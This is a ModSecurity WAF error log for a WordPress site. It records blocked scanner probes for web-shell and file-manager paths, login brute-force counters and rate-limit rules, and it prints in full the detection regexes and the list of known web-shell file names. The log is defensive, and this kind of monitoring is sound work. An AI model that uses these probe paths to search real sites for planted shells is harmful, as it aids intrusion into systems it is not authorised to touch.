[Mon May 04 15:33:54.063124 2026] [:error] [pid 61042:tid 61062] [client 147.135.213.153:53866] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afhL4knAPPS1fjubA9Qn4QAAANA"]
[Mon May 04 15:33:56.512268 2026] [:error] [pid 61043:tid 61084] [client 147.135.213.153:53876] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afhL5J8-LwtfURjiAbBoCwAAAEk"]
[Mon May 04 15:33:58.847004 2026] [:error] [pid 61043:tid 61087] [client 147.135.213.153:47582] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afhL5p8-LwtfURjiAbBoIQAAAEw"]
[Mon May 04 15:45:07.035208 2026] [:error] [pid 61150:tid 61165] [client 136.107.232.91:64847] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afhOg-8QXWVLiwIGVpc8ewAAAUw"]
[Mon May 04 15:45:07.038250 2026] [:error] [pid 3341:tid 3354] [client 136.107.232.91:64900] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afhOg09o3_LordU0wW7qdQAAAIo"]
[Mon May 04 15:45:07.915520 2026] [:error] [pid 61043:tid 61080] [client 136.107.232.91:51531] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afhOg58-LwtfURjiAbBqsAAAAEU"]
[Mon May 04 15:45:07.916119 2026] [:error] [pid 61043:tid 61081] [client 136.107.232.91:51584] [client 136.107.232.91] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "afhOg58-LwtfURjiAbBqsQAAAEY"]
[Tue May 05 04:39:33.159445 2026] [:error] [pid 41055:tid 41080] [client 119.28.89.249:40314] [client 119.28.89.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afkEBSepFwKgA_SKOHiePwAAARY"]
[Tue May 05 05:27:31.972056 2026] [:error] [pid 39178:tid 39183] [client 209.87.169.197:31853] [client 209.87.169.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "afkPQzaPrgTaiOD_15s4DgAAAMM"]
[Tue May 05 07:44:19.457330 2026] [:error] [pid 39071:tid 39101] [client 45.86.200.100:25223] [client 45.86.200.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "afkvU4vmnRMz9gRzix2VtgAAABU"]
[Tue May 05 07:44:20.875112 2026] [:error] [pid 39178:tid 39203] [client 45.86.200.91:29863] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "afkvVDaPrgTaiOD_15ujdQAAANc"]
[Tue May 05 07:44:24.344387 2026] [:error] [pid 41055:tid 41072] [client 45.86.200.75:25557] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "afkvWCepFwKgA_SKOHgH3gAAAQ4"]
[Tue May 05 07:44:26.818055 2026] [:error] [pid 41055:tid 41075] [client 45.86.200.91:24609] [client 45.86.200.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "afkvWiepFwKgA_SKOHgIKgAAARE"]
[Tue May 05 07:44:29.080695 2026] [:error] [pid 39178:tid 39189] [client 185.82.72.3:51563] [client 185.82.72.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "afkvXTaPrgTaiOD_15ukTgAAAMk"]
[Tue May 05 07:44:29.901245 2026] [:error] [pid 39178:tid 39191] [client 45.86.200.81:48849] [client 45.86.200.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "afkvXTaPrgTaiOD_15ukYAAAAMs"]
[Tue May 05 07:44:30.511000 2026] [:error] [pid 39178:tid 39188] [client 45.86.200.78:59341] [client 45.86.200.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "afkvXjaPrgTaiOD_15ukcAAAAMg"]
[Tue May 05 07:44:31.118653 2026] [:error] [pid 39072:tid 39118] [client 45.86.200.55:20889] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "afkvX_olSHl4aAnrIosfZQAAAEs"]
[Tue May 05 07:44:31.724252 2026] [:error] [pid 39071:tid 39093] [client 45.86.200.79:38803] [client 45.86.200.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "afkvX4vmnRMz9gRzix2W9AAAAA0"]
[Tue May 05 07:44:33.355123 2026] [:error] [pid 41055:tid 41059] [client 45.86.200.89:24691] [client 45.86.200.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "afkvYSepFwKgA_SKOHgIxQAAAQE"]
[Tue May 05 07:44:34.167088 2026] [:error] [pid 41055:tid 41078] [client 45.86.200.59:38947] [client 45.86.200.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "afkvYiepFwKgA_SKOHgI2wAAARQ"]
[Tue May 05 07:44:35.574752 2026] [:error] [pid 53856:tid 53889] [client 45.86.200.105:37055] [client 45.86.200.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "afkvY3G_NPOxSH0O9aQByQAAAVg"]
[Tue May 05 07:44:36.898606 2026] [:error] [pid 39071:tid 39080] [client 45.86.200.75:42531] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "afkvZIvmnRMz9gRzix2XlgAAAAA"]
[Tue May 05 07:44:37.734420 2026] [:error] [pid 53856:tid 53883] [client 45.86.200.55:24051] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "afkvZXG_NPOxSH0O9aQCEgAAAVI"]
[Tue May 05 07:44:38.584597 2026] [:error] [pid 53856:tid 53877] [client 45.86.200.90:64873] [client 45.86.200.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "afkvZnG_NPOxSH0O9aQCRAAAAUw"]
[Tue May 05 07:44:40.949090 2026] [:error] [pid 39071:tid 39083] [client 45.86.200.55:65479] [client 45.86.200.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "afkvaIvmnRMz9gRzix2YDgAAAAM"]
[Tue May 05 07:44:42.923471 2026] [:error] [pid 39072:tid 39126] [client 45.86.200.94:30699] [client 45.86.200.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "afkvavolSHl4aAnrIosgpQAAAFM"]
[Tue May 05 07:44:44.046116 2026] [:error] [pid 39071:tid 39099] [client 45.86.200.77:63429] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "afkvbIvmnRMz9gRzix2YXwAAABM"]
[Tue May 05 07:44:45.874449 2026] [:error] [pid 39178:tid 39193] [client 45.86.200.78:24529] [client 45.86.200.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "afkvbTaPrgTaiOD_15umDgAAAM0"]
[Tue May 05 07:44:47.602886 2026] [:error] [pid 41055:tid 41062] [client 45.86.200.56:52867] [client 45.86.200.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "afkvbyepFwKgA_SKOHgKGQAAAQQ"]
[Tue May 05 07:44:48.463461 2026] [:error] [pid 39178:tid 39187] [client 45.86.200.75:34427] [client 45.86.200.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "afkvcDaPrgTaiOD_15umXwAAAMc"]
[Tue May 05 07:44:50.353734 2026] [:error] [pid 41055:tid 41082] [client 45.86.200.82:62065] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "afkvciepFwKgA_SKOHgKbwAAARg"]
[Tue May 05 07:44:50.920467 2026] [:error] [pid 53856:tid 53876] [client 45.86.200.60:30473] [client 45.86.200.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "afkvcnG_NPOxSH0O9aQElQAAAUs"]
[Tue May 05 07:44:51.476356 2026] [:error] [pid 39072:tid 39113] [client 45.86.200.99:61739] [client 45.86.200.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "afkvc_olSHl4aAnrIoshfgAAAEY"]
[Tue May 05 07:44:52.891460 2026] [:error] [pid 39072:tid 39112] [client 45.86.200.83:65245] [client 45.86.200.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "afkvdPolSHl4aAnrIoshpwAAAEU"]
[Tue May 05 07:44:53.477655 2026] [:error] [pid 39073:tid 39152] [client 45.86.200.77:41743] [client 45.86.200.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "afkvdf0kT1BNjk46Bkdi0AAAAJI"]
[Tue May 05 07:44:54.036161 2026] [:error] [pid 39071:tid 39093] [client 45.86.200.76:22597] [client 45.86.200.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "afkvdovmnRMz9gRzix2ZLQAAAA0"]
[Tue May 05 07:44:56.856302 2026] [:error] [pid 39178:tid 39181] [client 45.86.200.88:34143] [client 45.86.200.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "afkveDaPrgTaiOD_15unTwAAAME"]
[Tue May 05 07:44:59.377760 2026] [:error] [pid 39073:tid 39141] [client 45.86.200.83:61007] [client 45.86.200.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.83, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "afkve_0kT1BNjk46BkdjWwAAAIc"]
[Tue May 05 07:45:03.187809 2026] [:error] [pid 39073:tid 39141] [client 45.86.200.83:61007] [client 45.86.200.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "afkvf_0kT1BNjk46Bkdj4wAAAIc"]
[Tue May 05 07:45:05.410075 2026] [:error] [pid 53856:tid 53886] [client 45.86.200.86:21193] [client 45.86.200.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.86, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "afkvgXG_NPOxSH0O9aQH0gAAAVU"]
[Tue May 05 07:45:06.001131 2026] [:error] [pid 53856:tid 53887] [client 45.86.200.86:21193] [client 45.86.200.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "afkvgnG_NPOxSH0O9aQH-AAAAVY"]
[Tue May 05 07:45:08.956791 2026] [:error] [pid 53856:tid 53881] [client 45.86.200.94:56525] [client 45.86.200.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "afkvhHG_NPOxSH0O9aQIqgAAAVA"]
[Tue May 05 07:45:09.533770 2026] [:error] [pid 39073:tid 39151] [client 45.86.200.112:37085] [client 45.86.200.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "afkvhf0kT1BNjk46BkdkogAAAJE"]
[Tue May 05 07:45:12.487507 2026] [:error] [pid 39073:tid 39138] [client 45.86.200.106:43693] [client 45.86.200.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "afkviP0kT1BNjk46BkdlCQAAAIQ"]
[Tue May 05 07:45:13.667571 2026] [:error] [pid 39073:tid 39147] [client 45.86.200.88:43023] [client 45.86.200.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "afkvif0kT1BNjk46BkdlLgAAAI0"]
[Tue May 05 07:45:21.804381 2026] [:error] [pid 41055:tid 41077] [client 45.86.200.111:55331] [client 45.86.200.111] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.111, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "afkvkSepFwKgA_SKOHgOJQAAARM"]
[Tue May 05 07:45:22.085706 2026] [:error] [pid 41055:tid 41082] [client 45.86.200.111:55331] [client 45.86.200.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "afkvkiepFwKgA_SKOHgOMwAAARg"]
[Tue May 05 07:45:27.459163 2026] [:error] [pid 39072:tid 39118] [client 45.86.200.103:21357] [client 45.86.200.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "afkvl_olSHl4aAnrIoskzgAAAEs"]
[Tue May 05 07:45:28.910811 2026] [:error] [pid 39071:tid 39104] [client 45.86.200.53:52715] [client 45.86.200.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.53, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "afkvmIvmnRMz9gRzix2ckQAAABg"]
[Tue May 05 07:45:30.083880 2026] [:error] [pid 39071:tid 39096] [client 45.86.200.53:52715] [client 45.86.200.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "afkvmovmnRMz9gRzix2cvQAAABA"]
[Tue May 05 07:45:30.929643 2026] [:error] [pid 39072:tid 39131] [client 45.86.200.82:57679] [client 45.86.200.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "afkvmvolSHl4aAnrIoslUgAAAFg"]
